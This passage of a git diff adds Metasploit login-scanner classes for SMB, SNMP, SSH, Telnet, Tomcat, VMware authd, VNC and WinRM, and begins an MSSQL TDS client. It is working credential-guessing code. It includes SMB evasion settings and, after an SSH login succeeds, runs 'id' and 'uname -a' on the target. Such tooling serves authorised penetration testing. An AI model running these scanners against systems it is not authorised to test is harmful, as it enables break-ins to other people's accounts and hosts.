# UNUSED + #attr_accessor :smb_pipe_read_max_size + #attr_accessor :smb_pipe_read_min_size + #attr_accessor :smb_pipe_write_max_size + #attr_accessor :smb_pipe_write_min_size + attr_accessor :smb_verify_signature + + attr_accessor :smb_direct + + validates :smb_chunk_size, + numericality: + { + only_integer: true, + greater_than_or_equal_to: 0 + } + + validates :smb_obscure_trans_pipe_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pad_data_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pad_file_level, + inclusion: + { + in: Rex::Proto::SMB::Evasions::EVASION_NONE .. Rex::Proto::SMB::Evasions::EVASION_MAX + } + + validates :smb_pipe_evasion, + inclusion: { in: [true, false, nil] }, + allow_nil: true + + # UNUSED + #validates :smb_pipe_read_max_size, numericality: { only_integer: true } + #validates :smb_pipe_read_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 } + #validates :smb_pipe_write_max_size, numericality: { only_integer: true } + #validates :smb_pipe_write_min_size, numericality: { only_integer: true, greater_than_or_equal_to: 0 } + + validates :smb_verify_signature, + inclusion: { in: [true, false, nil] }, + allow_nil: true + + + # If login is successul and {Result#access_level} is not set + # then arbitrary credentials are accepted. If it is set to + # Guest, then arbitrary credentials are accepted, but given + # Guest permissions. + # + # @param domain [String] Domain to authenticate against. Use an + # empty string for local accounts. + # @return [Result] + def attempt_bogus_login(domain) + if defined?(@result_for_bogus) + return @result_for_bogus + end + cred = Credential.new( + public: Rex::Text.rand_text_alpha(8), + private: Rex::Text.rand_text_alpha(8), + realm: domain + ) + @result_for_bogus = attempt_login(cred) + end + + + # (see Base#attempt_login) + def attempt_login(credential) + + # Disable direct SMB when SMBDirect has not been set and the + # destination port is configured as 139 + if self.smb_direct.nil? + self.smb_direct = case self.port + when 139 then false + when 445 then true + end + end + + begin + connect + rescue ::Rex::ConnectionError => e + return Result.new(credential:credential, status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT, proof: e) + end + proof = nil + + begin + # TODO: OMG + simple.login( + smb_name, + credential.public, + credential.private, + credential.realm || "", + smb_verify_signature, + use_ntlmv2, + use_ntlm2_session, + send_lm, + use_lmkey, + send_ntlm, + smb_native_os, + smb_native_lm, + { + use_spn: send_spn, + name: host + } + ) + + # Windows SMB will return an error code during Session + # Setup, but nix Samba requires a Tree Connect. Try admin$ + # first, since that will tell us if this user has local + # admin access. Fall back to IPC$ which should be accessible + # to any user with valid creds. + begin + simple.connect("\\\\#{host}\\admin$") + access_level = AccessLevels::ADMINISTRATOR + simple.disconnect("\\\\#{host}\\admin$") + rescue ::Rex::Proto::SMB::Exceptions::ErrorCode + simple.connect("\\\\#{host}\\IPC$") + end + + # If we made it this far without raising, we have a valid + # login + status = Metasploit::Model::Login::Status::SUCCESSFUL + rescue ::Rex::Proto::SMB::Exceptions::LoginError => e + status = case e.get_error(e.error_code) + when *StatusCodes::CORRECT_CREDENTIAL_STATUS_CODES + Metasploit::Model::Login::Status::DENIED_ACCESS + when 'STATUS_LOGON_FAILURE', 'STATUS_ACCESS_DENIED' + Metasploit::Model::Login::Status::INCORRECT + else + Metasploit::Model::Login::Status::INCORRECT + end + + proof = e + rescue ::Rex::Proto::SMB::Exceptions::Error => e + status = Metasploit::Model::Login::Status::INCORRECT + proof = e + rescue ::Rex::ConnectionError + status = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + + if status == Metasploit::Model::Login::Status::SUCCESSFUL && simple.client.auth_user.nil? + access_level ||= AccessLevels::GUEST + end + + result = Result.new(credential: credential, status: status, proof: proof, access_level: access_level) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'smb' + result + end + + def connect + disconnect + self.sock = super + + c = Rex::Proto::SMB::SimpleClient.new(sock, smb_direct) + + c.client.evasion_opts['pad_data'] = smb_pad_data_level + c.client.evasion_opts['pad_file'] = smb_pad_file_level + c.client.evasion_opts['obscure_trans_pipe'] = smb_obscure_trans_pipe_level + + self.simple = c + c + end + + def set_sane_defaults + self.connection_timeout = 10 if self.connection_timeout.nil? + self.max_send_size = 0 if self.max_send_size.nil? + self.send_delay = 0 if self.send_delay.nil? + self.send_lm = true if self.send_lm.nil? + self.send_ntlm = true if self.send_ntlm.nil? + self.send_spn = true if self.send_spn.nil? + self.smb_chunk_size = 0 if self.smb_chunk_size.nil? + self.smb_name = "*SMBSERVER" if self.smb_name.nil? + self.smb_native_lm = "Windows 2000 5.0" if self.smb_native_os.nil? + self.smb_native_os = "Windows 2000 2195" if self.smb_native_os.nil? + self.smb_obscure_trans_pipe_level = 0 if self.smb_obscure_trans_pipe_level.nil? + self.smb_pad_data_level = 0 if self.smb_pad_data_level.nil? + self.smb_pad_file_level = 0 if self.smb_pad_file_level.nil? + self.smb_pipe_evasion = false if self.smb_pipe_evasion.nil? + #self.smb_pipe_read_max_size = 1024 if self.smb_pipe_read_max_size.nil? + #self.smb_pipe_read_min_size = 0 if self.smb_pipe_read_min_size.nil? + #self.smb_pipe_write_max_size = 1024 if self.smb_pipe_write_max_size.nil? + #self.smb_pipe_write_min_size = 0 if self.smb_pipe_write_min_size.nil? + self.smb_verify_signature = false if self.smb_verify_signature.nil? + + self.use_lmkey = true if self.use_lmkey.nil? + self.use_ntlm2_session = true if self.use_ntlm2_session.nil? + self.use_ntlmv2 = true if self.use_ntlmv2.nil? + + self.smb_name = self.host if self.smb_name.nil? + + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/snmp.rb b/lib/metasploit/framework/login_scanner/snmp.rb new file mode 100644 index 0000000000..d2fd0d313a --- /dev/null +++ b/lib/metasploit/framework/login_scanner/snmp.rb @@ -0,0 +1,110 @@ +require 'snmp' +require 'metasploit/framework/login_scanner/base' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with SNMP. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class SNMP + include Metasploit::Framework::LoginScanner::Base + + DEFAULT_PORT = 161 + LIKELY_PORTS = [ 161, 162 ] + LIKELY_SERVICE_NAMES = [ 'snmp' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'udp', + service_name: 'snmp' + } + + [:SNMPv1, :SNMPv2c].each do |version| + snmp_client = ::SNMP::Manager.new( + :Host => host, + :Port => port, + :Community => credential.public, + :Version => version, + :Timeout => connection_timeout, + :Retries => 2, + :Transport => ::SNMP::RexUDPTransport, + :Socket => ::Rex::Socket::Udp.create + ) + + result_options[:proof] = test_read_access(snmp_client) + if result_options[:proof].nil? + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + else + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + if has_write_access?(snmp_client, result_options[:proof]) + result_options[:access_level] = "read-write" + else + result_options[:access_level] = "read-only" + end + end + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # This method takes an snmp client and tests whether + # it has write access to the remote system. It sets the + # the sysDescr oid to the same value we already read. + # @param snmp_client [SNMP::Manager] The SNMP client to use + # @param value [String] the value to set sysDescr back to + # @return [Boolean] Returns true or false for if we have write access + def has_write_access?(snmp_client, value) + var_bind = ::SNMP::VarBind.new("1.3.6.1.2.1.1.1.0", ::SNMP::OctetString.new(value)) + begin + resp = snmp_client.set(var_bind) + if resp.error_status == :noError + return true + end + rescue RuntimeError + return false + end + + end + + # Sets the connection timeout approrpiately for SNMP + # if the user did not set it. + def set_sane_defaults + self.connection_timeout = 2 if self.connection_timeout.nil? + self.port = DEFAULT_PORT if self.port.nil? + end + + # This method takes an snmp client and tests whether + # it has read access to the remote system. It checks + # the sysDescr oid to use as proof + # @param snmp_client [SNMP::Manager] The SNMP client to use + # @return [String, nil] Returns a string if successful, nil if failed + def test_read_access(snmp_client) + proof = nil + begin + resp = snmp_client.get("sysDescr.0") + resp.each_varbind { |var| proof = var.value } + rescue RuntimeError + proof = nil + end + proof + end + + + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/ssh.rb b/lib/metasploit/framework/login_scanner/ssh.rb new file mode 100644 index 0000000000..3cd967cc07 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/ssh.rb @@ -0,0 +1,139 @@ +require 'net/ssh' +require 'metasploit/framework/login_scanner/base' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with the Secure Shell protocol. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + # + class SSH + include Metasploit::Framework::LoginScanner::Base + + # + # CONSTANTS + # + + CAN_GET_SESSION = true + DEFAULT_PORT = 22 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'ssh' ] + PRIVATE_TYPES = [ :password, :ssh_key ] + REALM_KEY = nil + + VERBOSITIES = [ + :debug, + :info, + :warn, + :error, + :fatal + ] + # @!attribute ssh_socket + # @return [Net::SSH::Connection::Session] The current SSH connection + attr_accessor :ssh_socket + # @!attribute verbosity + # The verbosity level for the SSH client. + # + # @return [Symbol] An element of {VERBOSITIES}. + attr_accessor :verbosity + + validates :verbosity, + presence: true, + inclusion: { in: VERBOSITIES } + + # (see {Base#attempt_login}) + # @note The caller *must* close {#ssh_socket} + def attempt_login(credential) + self.ssh_socket = nil + opt_hash = { + :port => port, + :disable_agent => true, + :config => false, + :verbose => verbosity, + :proxies => proxies + } + case credential.private_type + when :password, nil + opt_hash.update( + :auth_methods => ['password','keyboard-interactive'], + :password => credential.private, + ) + when :ssh_key + opt_hash.update( + :auth_methods => ['publickey'], + :key_data => credential.private, + ) + end + + result_options = { + credential: credential + } + begin + ::Timeout.timeout(connection_timeout) do + self.ssh_socket = Net::SSH.start( + host, + credential.public, + opt_hash + ) + end + rescue ::EOFError, Net::SSH::Disconnect, Rex::AddressInUse, Rex::ConnectionError, ::Timeout::Error + result_options.merge!( proof: nil, status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT) + rescue Net::SSH::Exception + result_options.merge!( proof: nil, status: Metasploit::Model::Login::Status::INCORRECT) + end + + unless result_options.has_key? :status + if ssh_socket + proof = gather_proof + result_options.merge!( proof: proof, status: Metasploit::Model::Login::Status::SUCCESSFUL) + else + result_options.merge!( proof: nil, status: Metasploit::Model::Login::Status::INCORRECT) + end + end + + result = ::Metasploit::Framework::LoginScanner::Result.new(result_options) + result.host = host + result.port = port + result.protocol = 'tcp' + result.service_name = 'ssh' + result + end + + private + + # This method attempts to gather proof that we successfuly logged in. + # @return [String] The proof of a connection, May be empty. + def gather_proof + proof = '' + begin + Timeout.timeout(5) do + proof = ssh_socket.exec!("id\n").to_s + if(proof =~ /id=/) + proof << ssh_socket.exec!("uname -a\n").to_s + else + # Cisco IOS + if proof =~ /Unknown command or computer name/ + proof = ssh_socket.exec!("ver\n").to_s + else + proof << ssh_socket.exec!("help\n?\n\n\n").to_s + end + end + end + rescue ::Exception + end + proof + end + + def set_sane_defaults + self.connection_timeout = 30 if self.connection_timeout.nil? + self.port = DEFAULT_PORT if self.port.nil? + self.verbosity = :fatal if self.verbosity.nil? + end + + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/telnet.rb b/lib/metasploit/framework/login_scanner/telnet.rb new file mode 100644 index 0000000000..ec9c374292 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/telnet.rb @@ -0,0 +1,117 @@ +require 'metasploit/framework/telnet/client' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with Telnet remote terminals. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class Telnet + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Telnet::Client + + CAN_GET_SESSION = true + DEFAULT_PORT = 23 + LIKELY_PORTS = [ DEFAULT_PORT ] + LIKELY_SERVICE_NAMES = [ 'telnet' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # @!attribute verbosity + # The timeout to wait for the telnet banner. + # + # @return [Fixnum] + attr_accessor :banner_timeout + # @!attribute verbosity + # The timeout to wait for the response from a telnet command. + # + # @return [Fixnum] + attr_accessor :telnet_timeout + + validates :banner_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + validates :telnet_timeout, + presence: true, + numericality: { + only_integer: true, + greater_than_or_equal_to: 1 + } + + # (see {Base#attempt_login}) + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'telnet' + } + + if connect_reset_safe == :refused + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + else + if busy_message? + self.sock.close unless self.sock.closed? + result_options[:status] = Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + end + end + + unless result_options[:status] + unless password_prompt? + send_user(credential.public) + end + + recvd_sample = @recvd.dup + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) unless @recvd.nil? or @recvd[/#{@password_prompt}/] + end + + if password_prompt?(credential.public) + send_pass(credential.private) + + # Allow for slow echos + 1.upto(10) do + recv_telnet(self.sock, 0.10) if @recvd == recvd_sample + end + end + + if login_succeeded? + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options[:status] = Metasploit::Model::Login::Status::INCORRECT + end + + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.max_send_size ||= 0 + self.port ||= DEFAULT_PORT + self.send_delay ||= 0 + self.banner_timeout ||= 25 + self.telnet_timeout ||= 10 + self.connection_timeout ||= 30 + # Shim to set up the ivars from the old Login mixin + create_login_ivars + end + + end + end + end +end diff --git a/lib/metasploit/framework/login_scanner/tomcat.rb b/lib/metasploit/framework/login_scanner/tomcat.rb new file mode 100644 index 0000000000..c773af7058 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/tomcat.rb @@ -0,0 +1,28 @@ + +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Tomcat Manager login scanner + class Tomcat < HTTP + + # Inherit LIKELY_PORTS,LIKELY_SERVICE_NAMES, and REALM_KEY from HTTP + CAN_GET_SESSION = true + DEFAULT_PORT = 8180 + PRIVATE_TYPES = [ :password ] + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/manager/html" if self.uri.nil? + self.method = "GET" if self.method.nil? + + super + end + + end + end + end +end + diff --git a/lib/metasploit/framework/login_scanner/vmauthd.rb b/lib/metasploit/framework/login_scanner/vmauthd.rb new file mode 100644 index 0000000000..e3bc61d8c6 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/vmauthd.rb @@ -0,0 +1,112 @@ +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module LoginScanner + + # This is the LoginScanner class for dealing with vmware-auth. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class VMAUTHD + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + DEFAULT_PORT = 902 + LIKELY_PORTS = [ DEFAULT_PORT, 903, 912 ] + LIKELY_SERVICE_NAMES = [ 'vmauthd', 'vmware-auth' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attempt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + status: Metasploit::Model::Login::Status::INCORRECT, + proof: nil, + host: host, + port: port, + service_name: 'vmauthd', + protocol: 'tcp' + } + + disconnect if self.sock + + begin + connect + select([sock], nil, nil, 0.4) + + # Check to see if we received an OK? + result_options[:proof] = sock.get_once + if result_options[:proof] && result_options[:proof][/^220 VMware Authentication Daemon Version.*/] + # Switch to SSL if required + swap_sock_plain_to_ssl(sock) if result_options[:proof] && result_options[:proof][/SSL/] + + # If we received an OK we should send the USER + sock.put("USER #{credential.public}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^331.*/] + # If we got an OK after the username we can send the PASS + sock.put("PASS #{credential.private}\r\n") + result_options[:proof] = sock.get_once + + if result_options[:proof] && result_options[:proof][/^230.*/] + # if the pass gives an OK, we're good to go + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + end + end + end + + rescue Rex::ConnectionError, EOFError, Timeout::Error, Errno::EPIPE => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + disconnect if self.sock + + Result.new(result_options) + end + + private + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= DEFAULT_PORT + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + def swap_sock_plain_to_ssl(nsock=self.sock) + ctx = generate_ssl_context + ssl = OpenSSL::SSL::SSLSocket.new(nsock, ctx) + + ssl.connect + + nsock.extend(Rex::Socket::SslTcp) + nsock.sslsock = ssl + nsock.sslctx = ctx + end + + def generate_ssl_context + ctx = OpenSSL::SSL::SSLContext.new(:SSLv3) + @@cached_rsa_key ||= OpenSSL::PKey::RSA.new(1024){} + + ctx.key = @@cached_rsa_key + + ctx.session_id_context = Rex::Text.rand_text(16) + + ctx + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/vnc.rb b/lib/metasploit/framework/login_scanner/vnc.rb new file mode 100644 index 0000000000..b07cda1bd7 --- /dev/null +++ b/lib/metasploit/framework/login_scanner/vnc.rb @@ -0,0 +1,128 @@ +require 'metasploit/framework/tcp/client' +require 'rex/proto/rfb' +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' + +module Metasploit + module Framework + module LoginScanner + # This is the LoginScanner class for dealing with the VNC RFB protocol. + # It is responsible for taking a single target, and a list of credentials + # and attempting them. It then saves the results. + class VNC + include Metasploit::Framework::LoginScanner::Base + include Metasploit::Framework::LoginScanner::RexSocket + include Metasploit::Framework::Tcp::Client + + + # + # CONSTANTS + # + + LIKELY_PORTS = (5900..5910).to_a + LIKELY_SERVICE_NAMES = [ 'vnc' ] + PRIVATE_TYPES = [ :password ] + REALM_KEY = nil + + # Error indicating retry should occur for UltraVNC + ULTRA_VNC_RETRY_ERROR = 'connection has been rejected' + # Error indicating retry should occur for VNC 4 Server + VNC4_SERVER_RETRY_ERROR = 'Too many security failures' + # Known retry errors for all supported versions of VNC + RETRY_ERRORS = [ + ULTRA_VNC_RETRY_ERROR, + VNC4_SERVER_RETRY_ERROR + ] + + # This method attempts a single login with a single credential against the target + # @param credential [Credential] The credential object to attmpt to login with + # @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object + def attempt_login(credential) + result_options = { + credential: credential, + host: host, + port: port, + protocol: 'tcp', + service_name: 'vnc' + } + + credential.public = nil + + begin + # Make our initial socket to the target + disconnect if self.sock + connect + + # Create our VNC client overtop of the socket + vnc = Rex::Proto::RFB::Client.new(sock, :allow_none => false) + + + if vnc.handshake + if vnc_auth(vnc,credential.private) + result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL + else + result_options.merge!( + proof: vnc.error, + status: Metasploit::Model::Login::Status::INCORRECT + ) + end + else + result_options.merge!( + proof: vnc.error, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + rescue ::EOFError, Errno::ENOTCONN, Rex::AddressInUse, Rex::ConnectionError, Rex::ConnectionTimeout, ::Timeout::Error => e + result_options.merge!( + proof: e.message, + status: Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + ) + end + + ::Metasploit::Framework::LoginScanner::Result.new(result_options) + end + + private + + # Check the VNC error to see if we should wait and retry. + # + # @param error [String] The VNC error message received + # @return [false] don't retry + # @return [true] retry + def retry?(error) + RETRY_ERRORS.include?(error) + end + + # This method sets the sane defaults for things + # like timeouts and TCP evasion options + def set_sane_defaults + self.connection_timeout ||= 30 + self.port ||= 5900 + self.max_send_size ||= 0 + self.send_delay ||= 0 + end + + # This method attempts the actual VNC authentication. It has built in retries to handle + # delays built into the VNC RFB authentication. + # @param client [Rex::Proto::RFB::Client] The VNC client object to authenticate through + # @param password [String] the password to attempt the authentication with + def vnc_auth(client,password) + success = false + 5.times do |n| + if client.authenticate(password) + success = true + break + end + break unless retry?(client.error) + + # Wait for an increasing ammount of time before retrying + delay = (2**(n+1)) + 1 + ::Rex.sleep(delay) + end + success + end + end + + end + end +end diff --git a/lib/metasploit/framework/login_scanner/winrm.rb b/lib/metasploit/framework/login_scanner/winrm.rb new file mode 100644 index 0000000000..af079b262e --- /dev/null +++ b/lib/metasploit/framework/login_scanner/winrm.rb @@ -0,0 +1,52 @@ + +require 'metasploit/framework/login_scanner/base' +require 'metasploit/framework/login_scanner/rex_socket' +require 'metasploit/framework/login_scanner/http' + +module Metasploit + module Framework + module LoginScanner + + # Windows Remote Management login scanner + class WinRM < HTTP + + # The default port where WinRM listens. This is what you get on + # v1.1+ with `winrm quickconfig`. Note that before v1.1, the + # default was 80 + DEFAULT_PORT = 5985 + + # The default realm is WORKSTATION which tells Windows authentication + # that it is a Local Account. + DEFAULT_REALM = 'WORKSTATION' + + # The default port where WinRM listens when SSL is enabled. Note + # that before v1.1, the default was 443 + DEFAULT_SSL_PORT = 5986 + + PRIVATE_TYPES = [ :password ] + LIKELY_PORTS = [ 80, 443, 5985, 5986 ] + REALM_KEY = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN + # Inherit LIKELY_SERVICE_NAMES, since a scanner will see it as + # just HTTP. + + validates :method, inclusion: { in: ["POST"] } + + # (see Base#set_sane_defaults) + def set_sane_defaults + self.uri = "/wsman" if self.uri.nil? + @method = "POST".freeze + + super + end + + # The method *must* be "POST", so don't let the user change it + # @raise [RuntimeError] Unconditionally + def method=(_) + raise RuntimeError, "Method must be POST for WinRM" + end + + end + end + end +end + diff --git a/lib/metasploit/framework/mssql/client.rb b/lib/metasploit/framework/mssql/client.rb new file mode 100644 index 0000000000..2e1f21fac1 --- /dev/null +++ b/lib/metasploit/framework/mssql/client.rb @@ -0,0 +1,728 @@ +require 'metasploit/framework/tcp/client' + +module Metasploit + module Framework + module MSSQL + + module Client + include Metasploit::Framework::Tcp::Client + + NTLM_CRYPT = Rex::Proto::NTLM::Crypt + NTLM_CONST = Rex::Proto::NTLM::Constants + NTLM_UTILS = Rex::Proto::NTLM::Utils + NTLM_XCEPT = Rex::Proto::NTLM::Exceptions + + # Encryption + ENCRYPT_OFF = 0x00 #Encryption is available but off. + ENCRYPT_ON = 0x01 #Encryption is available and on. + ENCRYPT_NOT_SUP = 0x02 #Encryption is not available. + ENCRYPT_REQ = 0x03 #Encryption is required. + + # Packet Type + TYPE_SQL_BATCH = 1 # (Client) SQL command + TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused) + TYPE_RPC = 3 # (Client) RPC + TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters, + # Request Completion, Error and Info Messages, Attention Acknowledgement + TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention + TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data + TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager + TYPE_TDS7_LOGIN = 16 # (Client) Login + TYPE_SSPI_MESSAGE = 17 # (Client) Login + TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7 + + # Status + STATUS_NORMAL = 0x00 + STATUS_END_OF_MESSAGE = 0x01 + STATUS_IGNORE_EVENT = 0x02 + STATUS_RESETCONNECTION = 0x08 # TDS 7.1+ + STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+ + + # + # This method connects to the server over TCP and attempts + # to authenticate with the supplied username and password + # The global socket is used and left connected after auth + # + def mssql_login(user='sa', pass='', db='', domain_name='') + + disconnect if self.sock + connect + + # Send a prelogin packet and check that encryption is not enabled + if mssql_prelogin() != ENCRYPT_NOT_SUP + print_error("Encryption is not supported") + return false + end + + if windows_authentication + idx = 0 + pkt = '' + pkt_hdr = '' + pkt_hdr = [ + TYPE_TDS7_LOGIN, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID (unused upon specification + # but ms network monitor stil prefer 1 to decode correctly, wireshark don't care) + 0x00 #Window + ] + + pkt << [ + 0x00000000, # Size + 0x71000001, # TDS Version + 0x00000000, # Dummy Size + 0x00000007, # Version + rand(1024+1), # PID + 0x00000000, # ConnectionID + 0xe0, # Option Flags 1 + 0x83, # Option Flags 2 + 0x00, # SQL Type Flags + 0x00, # Reserved Flags + 0x00000000, # Time Zone + 0x00000000 # Collation + ].pack('VVVVVVCCCCVV') + + cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) #application and library name + sname = Rex::Text.to_unicode( rhost ) + dname = Rex::Text.to_unicode( db ) + + ntlm_options = { + :signing => false, + :usentlm2_session => use_ntlm2_session, + :use_ntlmv2 => use_ntlmv2, + :send_lm => send_lm, + :send_ntlm => send_ntlm + } + + ntlmssp_flags = NTLM_UTILS.make_ntlm_flags(ntlm_options) + workstation_name = Rex::Text.rand_text_alpha(rand(8)+1) + + ntlmsspblob = NTLM_UTILS::make_ntlmssp_blob_init(domain_name, workstation_name, ntlmssp_flags) + + idx = pkt.size + 50 # lengths below + + pkt << [idx, cname.length / 2].pack('vv') + idx += cname.length + + pkt << [0, 0].pack('vv') # User length offset must be 0 + pkt << [0, 0].pack('vv') # Password length offset must be 0 + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, sname.length / 2].pack('vv') + idx += sname.length + + pkt << [0, 0].pack('vv') # unused + + pkt << [idx, aname.length / 2].pack('vv') + idx += aname.length + + pkt << [idx, 0].pack('vv') # locales + + pkt << [idx, 0].pack('vv') #db + + # ClientID (should be mac address) + pkt << Rex::Text.rand_text(6) + + # NTLMSSP + pkt << [idx, ntlmsspblob.length].pack('vv') + idx += ntlmsspblob.length + + pkt << [idx, 0].pack('vv') # AtchDBFile + + pkt << cname + pkt << aname + pkt << sname + pkt << aname + pkt << ntlmsspblob + + # Total packet length + pkt[0,4] = [pkt.length].pack('V') + + pkt_hdr[2] = pkt.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + pkt + + # Rem : One have to set check_status to false here because sql server sp0 (and maybe above) + # has a strange behavior that differs from the specifications + # upon receiving the ntlm_negociate request it send an ntlm_challenge but the status flag of the tds packet header + # is set to STATUS_NORMAL and not STATUS_END_OF_MESSAGE, then internally it waits for the ntlm_authentification + resp = mssql_send_recv(pkt,15, false) + + # Get default data + begin + blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(resp) + # a domain.length < 3 will hit this + rescue NTLM_XCEPT::NTLMMissingChallenge + return false + end + + challenge_key = blob_data[:challenge_key] + server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error + #netbios name + default_name = blob_data[:default_name] || '' + #netbios domain + default_domain = blob_data[:default_domain] || '' + #dns name + dns_host_name = blob_data[:dns_host_name] || '' + #dns domain + dns_domain_name = blob_data[:dns_domain_name] || '' + #Client time + chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' + + spnopt = {:use_spn => send_spn, :name => self.rhost} + + resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, challenge_key, + domain_name, default_name, default_domain, + dns_host_name, dns_domain_name, chall_MsvAvTimestamp, + spnopt, ntlm_options) + + ntlmssp = NTLM_UTILS.make_ntlmssp_blob_auth(domain_name, workstation_name, user, resp_lm, resp_ntlm, '', ntlmssp_flags) + + # Create an SSPIMessage + idx = 0 + pkt = '' + pkt_hdr = '' + pkt_hdr = [ + TYPE_SSPI_MESSAGE, #type + STATUS_END_OF_MESSAGE, #status + 0x0000, #length + 0x0000, # SPID + 0x01, # PacketID + 0x00 #Window + ] + + pkt_hdr[2] = ntlmssp.length + 8 + + pkt = pkt_hdr.pack("CCnnCC") + ntlmssp + + resp = mssql_send_recv(pkt) + + + #SQL Server Authentification + else + idx = 0 + pkt = '' + pkt << [ + 0x00000000, # Dummy size + + 0x71000001, # TDS Version + 0x00000000, # Size + 0x00000007, # Version + rand(1024+1), # PID + 0x00000000, # ConnectionID + 0xe0, # Option Flags 1 + 0x03, # Option Flags 2 + 0x00, # SQL Type Flags + 0x00, # Reserved Flags + 0x00000000, # Time Zone + 0x00000000 # Collation + ].pack('VVVVVVCCCCVV') + + + cname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + uname = Rex::Text.to_unicode( user ) + pname = mssql_tds_encrypt( pass ) + aname = Rex::Text.to_unicode( Rex::Text.rand_text_alpha(rand(8)+1) ) + sname = Rex::Text.to_unicode( rhost ) + dname = Rex::Text.to_unicode( db ) + + idx = pkt.size + 50 # lengths below + + pkt << [idx, cname.length / 2].pack('vv') + idx += cname.length + + pkt << [idx, uname.length / 2].pack('vv') + idx += uname.length + + pkt << [idx, pname.length / 2].pack('vv') + idx += 